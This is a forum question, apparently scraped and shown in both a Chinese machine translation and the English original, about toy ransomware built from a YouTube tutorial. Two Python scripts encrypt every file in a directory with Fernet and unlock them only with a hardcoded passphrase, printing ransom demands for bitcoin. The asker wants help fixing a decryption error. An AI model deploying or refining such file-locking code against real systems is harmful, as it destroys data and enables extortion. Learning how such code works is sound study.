加密/解密python valueerror

发布于 2025-02-01 22:25:37 字数 3028 浏览 1 评论 0原文

我正在遵循YouTube编码教程,它教您如何编写简单的Python代码以在给定目录中加密文件:

#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files

files = []

for file in os.listdir():
# let's make sure that the code doesn't encrypt itself or the key that it generates
    if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)

print(files)

key = Fernet.generate_key()

with open("thekey.key", "wb" ) as thekey:
    thekey.write(key)

for file in files:
    with open(file, "rb") as thefile:
# open every file in binary mode and read it in binary mode aka 'rb'
        contents = thefile.read()
# let's encrypt the files
    contents_encrypted = Fernet(key).encrypt(contents)
    with open(file, "wb") as thefile:
        thefile.write(contents_encrypted)

然后使用密码解密这些文件:

    #!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files

files = []

for file in os.listdir():
    if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)

print(files)

with open("thekey.key", "rb") as key:
    secretkey = key.read()

secretphrase = "coffee"

user_phrase = input("Enter the secret phrase to decrypt your files\n")

if user_phrase == secretphrase:
    for file in files:
        with open(file, "rb") as thefile:
            contents = thefile.read()
        contents_decrypted = Fernet(secretkey).decrypt(contents)
        with open(file, "wb") as thefile:
            thefile.write(contents_decrypted)
        print("congrats, you're files are decrypted, enjoy your porn")
else:
    print("Sorry. Wrong secret phrase. Send me more bitcoin.")

print("All of your files have been encrypted, pay the ransome or you will loose them for eva.")

因此,代码的加密部分似乎是按照打算使用的。出现的文件像这样加密:

> [jk@fedora ransomware]$ cat file.txt
> gAAAAABikLSXKfLLbrcZfMSERarato7lLcp3ZxfpjeiiHIiwgcwR3ouIkF8a30XV9fatLjL_Kwtc3aEC76iqnxqxoV0okcfpmKSIUE23iyxzBqe5xKU3ZSo=

但是,解密零件只能起作用一次,在给出正确的密码后,Sucssufly在其中解密了文件

> [jk@fedora ransomware]$ python3 decrypt.py
['file.txt', 'file2.txt', 'hey.txt', 'pleasedonthurtme.txt', 'thekey.key']
Enter the secret phrase to decrypt your files
coffee
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn

,然后不断吐出一个值。

File "/home/jedrzejkiecol/ransomware/decrypt.py", line 27, in <module>
contents_decrypted = Fernet(secretkey).decrypt(contents)
  File "/usr/lib64/python3.10/site-packages/cryptography/fernet.py", line 34, in __init__
    raise ValueError(
ValueError: Fernet key must be 32 url-safe base64-encoded bytes.

任何人都可以帮助我,该代码对YouTuber(NetworkChuck btw)都很好。我

I'm following a YouTube coding tutorial, it teaches you how to write a simple python code to encrypt files in a given directory:

#!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files

files = []

for file in os.listdir():
# let's make sure that the code doesn't encrypt itself or the key that it generates
    if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)

print(files)

key = Fernet.generate_key()

with open("thekey.key", "wb" ) as thekey:
    thekey.write(key)

for file in files:
    with open(file, "rb") as thefile:
# open every file in binary mode and read it in binary mode aka 'rb'
        contents = thefile.read()
# let's encrypt the files
    contents_encrypted = Fernet(key).encrypt(contents)
    with open(file, "wb") as thefile:
        thefile.write(contents_encrypted)

and then decrypt those files using a password:

    #!/usr/bin/env python3
import os
from cryptography.fernet import Fernet
# let's find the files

files = []

for file in os.listdir():
    if file == "voldemort.py" or file == "theykey.key" or file == "decrypt.py":
        continue
    if os.path.isfile(file):
        files.append(file)

print(files)

with open("thekey.key", "rb") as key:
    secretkey = key.read()

secretphrase = "coffee"

user_phrase = input("Enter the secret phrase to decrypt your files\n")

if user_phrase == secretphrase:
    for file in files:
        with open(file, "rb") as thefile:
            contents = thefile.read()
        contents_decrypted = Fernet(secretkey).decrypt(contents)
        with open(file, "wb") as thefile:
            thefile.write(contents_decrypted)
        print("congrats, you're files are decrypted, enjoy your porn")
else:
    print("Sorry. Wrong secret phrase. Send me more bitcoin.")

print("All of your files have been encrypted, pay the ransome or you will loose them for eva.")

So the encryption part of the code seems to work as intended with the files coming out encrypted like so:

> [jk@fedora ransomware]$ cat file.txt
> gAAAAABikLSXKfLLbrcZfMSERarato7lLcp3ZxfpjeiiHIiwgcwR3ouIkF8a30XV9fatLjL_Kwtc3aEC76iqnxqxoV0okcfpmKSIUE23iyxzBqe5xKU3ZSo=

But the decryption part only worked once, where in it sucessfuly decrypted the files after the correct password was given

> [jk@fedora ransomware]$ python3 decrypt.py
['file.txt', 'file2.txt', 'hey.txt', 'pleasedonthurtme.txt', 'thekey.key']
Enter the secret phrase to decrypt your files
coffee
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn
congrats, you're files are decrypted, enjoy your porn

and then it kept spiting out a ValueError.

File "/home/jedrzejkiecol/ransomware/decrypt.py", line 27, in <module>
contents_decrypted = Fernet(secretkey).decrypt(contents)
  File "/usr/lib64/python3.10/site-packages/cryptography/fernet.py", line 34, in __init__
    raise ValueError(
ValueError: Fernet key must be 32 url-safe base64-encoded bytes.

Can anyone help me, the code worked fine for the YouTuber (NetworkChuck btw). I

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文